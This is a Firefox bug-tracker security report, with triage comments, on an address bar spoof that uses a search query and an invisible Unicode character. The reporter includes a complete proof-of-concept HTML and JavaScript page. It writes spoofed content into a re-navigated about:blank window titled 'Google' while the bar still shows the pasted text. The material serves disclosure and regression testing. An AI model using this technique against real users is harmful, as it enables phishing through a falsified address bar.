[land test for] Firefox Desktop Address Bar Spoof Using Search Query
Categories
(Firefox :: Address Bar, defect, P2)
Tracking
()
| Tracking | Status | |
|---|---|---|
| firefox-esr115 | --- | unaffected |
| firefox-esr128 | --- | unaffected |
| firefox-esr140 | 141+ | fixed |
| firefox140 | --- | wontfix |
| firefox141 | --- | fixed |
People
(Reporter: renwax23, Assigned: jteow)
References
Details
(Keywords: csectype-spoof, reporter-external, sec-other, Whiteboard: [client-bounty-form][fixed by 1970997][sng][adv-main141-][adv-esr140.1-])
Attachments
(3 files)
Screenshot 2025-06-27 at 1.16.36 PM.png
In the new Firefox update when we search for something inside the address bar the search query value will remain inside the address bar and the address bar won't be updated to the search engine URL. While testing I found out if we redirect the tab to about:blank the URL bar won't change to about:blank or the opener's URL, instead it will still show the search query inside the address bar with our controlled webpage contents. There is also a protection when there is a dot in a URL like (google.com) the address bar value will change to the search engine query and not the search query but I was able to bypass that with an invisible space before the domain name. (\u{E007D}google.com).
Steps to Reproduce:
- Open
https://rx23.io/test/dice.htmland Click on the button - Paste what you have copied inside the address bar or just make a normal search query
- Go back to first tab then to the search tab
- Address bar is spoofed to the value you pasted or the search query you made with our controlled DOM.
Video POC: https://drive.google.com/file/d/17rv1JTocGdPxT_jj9ucvbHnuspFz4e6-/view?usp=sharing
POC Code Used:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<title>POC</title>
<style>body,html{margin:0;height:100%;display:flex;justify-content:center;align-items:center;background:#f0f0f0;font-family:Arial,sans-serif}#myButton{padding:1rem 2rem;font-size:1rem;border:none;border-radius:0.5rem;background:linear-gradient(135deg,#6e8efb,#a777e3);color:white;cursor:pointer;box-shadow:0 4px 8px rgba(0,0,0,0.1);transition:transform 0.1s ease,box-shadow 0.1s ease}#myButton:active{transform:translateY(2px);box-shadow:0 2px 4px rgba(0,0,0,0.1)}</style>
</head>
<body>
<button id="myButton" onclick=handleClick();>Click me!</button>
<script>
const handleClick = () => {
navigator.clipboard.writeText("@bing \u{E007D}google.com");
const x = window.open('about:blank', 'x');
x.document.write('<h1>Paste in the address bar and press enter</h1>');
document.body.innerHTML = '<h1>Go back to the other tab</h1>';
const interval = setInterval(() => {
try {
const href = x.location.href;
if (href !== 'about:blank') {
console.log('Still same-origin:', href);
}
} catch (e) {
console.log('Navigated to a different origin, lost access.');
window.onfocus = () => {
x.location = 'about:blank';
setTimeout(() => {
x.document.write('<h1>spoofed</h1>');
x.document.title = 'Google';
}, 100);
};
clearInterval(interval);
}
}, 500);
};
</script>
</body>
</html>
|
||
Comment 1•9 months ago
|
||
So the fact that the address bar doesn't update is something I think we should fix in the address bar code.
However, the opener tab being able to navigate the window after the user has initiated a load in it also seems surprising to me. I know we'd throw security errors trying to read window.location or the DOM of a cross origin page. Nika, if we have a user-initiated navigation in a window opened via window.open, can/should we break write access for the opener to navigate that window some more?
|
||
Updated•9 months ago
|
|
|
||
Comment 2•9 months ago
•
|
||
This doesn't work in Nightly and I suspect it has been fixed by Bug 1970997, ~~~that we should definitely uplift.~~~ oh it's in 141 already, and I doubt we'd uplift to Release, though we can uplift to ESR.
Maybe the test case could be synthesized into a CI unit test.
|
||
Comment 3•9 months ago
|
||
Assigning to James to investigate adding a specific test for this.
|
||
Updated•9 months ago
|
|
|
||
Updated•9 months ago
|
|
|
||
Updated•9 months ago
|
|
||
Updated•8 months ago
|
|
|
||
Updated•8 months ago
|
|
|
||
Updated•8 months ago
|
|
|
||
Updated•8 months ago
|
|
|
||
Comment 4•8 months ago
|
||
The testcase URL in comment 0 has been changed to show variant bug 1976102. Saving the in-line version as an attachment for convenience.
|
Assignee | |
Comment 5•8 months ago
|
||
|
|
Assignee | |
Updated•8 months ago
|
|
|
||
Comment 6•8 months ago
|
||
Unfortunately this spoof does not meet the severity level for the bug bounty program
|
||
Comment 7•8 months ago
|
||
There is an r+ patch which didn't land and no activity in this bug for 2 weeks.
:jteow, could you have a look please?
If you still have some work to do, you can add an action "Plan Changes" in Phabricator.
For more information, please visit BugBot documentation.
|
|
Assignee | |
Comment 8•8 months ago
|
||
I had availability to work on this, and we will land it when the fix has been in release for more time.
|
||
Comment 10•7 months ago
|
||
|
|
||
Comment 11•6 months ago
|
||
(In reply to Ryan VanderMeulen [:RyanVM] from comment #10)
https://hg-edge.mozilla.org/mozilla-central/rev/c1ff3ca515c2
I think this bug should probably be closed with milestones etc. updated accordingly?
|
|
||
Updated•6 months ago
|
|
|
Assignee | |
Comment 12•6 months ago
|
||
The original issue was fixed in 141 and this patch is just about landing the associated test (hence setting the milestone to when the test landed).
|
|
||
Updated•3 months ago
|
|
||
Updated•3 months ago
|
Description
•